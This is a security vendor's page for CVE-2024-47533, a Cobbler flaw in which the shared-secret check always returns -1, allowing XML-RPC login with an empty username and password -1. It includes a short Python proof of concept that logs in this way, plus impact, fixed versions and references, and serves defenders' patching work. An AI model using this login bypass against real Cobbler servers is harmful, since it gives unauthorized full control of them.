Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2024-47533

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes
Back to all
CVE

CVE-2024-47533

cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Summary

utils.getsharedsecret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

Details

utils.py getsharedsecret:

def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
    :return: The Cobbler secret which enables full access to Cobbler.
    """
    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()

Always returns -1 because of the following exception:

binary mode doesn't take an encoding argument
 ```
This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
### PoC

#!/usr/bin/python3

import ssl

 import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }

sslcontext = ssl.createunverifiedcontext()

 

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)

if ssl_context:

    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)

else:

    conn = xmlrpc.client.Server(url)

try:

    token = conn.login(params['username'], params['password'])

except xmlrpc.client.Fault as e:

    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))

 except Exception as e:

    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

systemid = conn.newsystem(token)

 ```

Impact

This gives anyone with network access to a cobbler server full control of the server.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
9.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
9.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h, https://nvd.nist.gov/vuln/detail/CVE-2024-47533, https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0, https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda, https://github.com/cobbler/cobbler, https://pypi.org/project/cobbler, https://github.com/advisories/GHSA-m26c-fcgh-cp6h

Severity

9.8

CVSS Score
0
10

Basic Information

Base CVSS
9.8
EPSS Probability
0.03948%
EPSS Percentile
0.89276%
Introduced Version
3.3.0,3.1.2
Fix Available
3.3.7,3.2.3

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading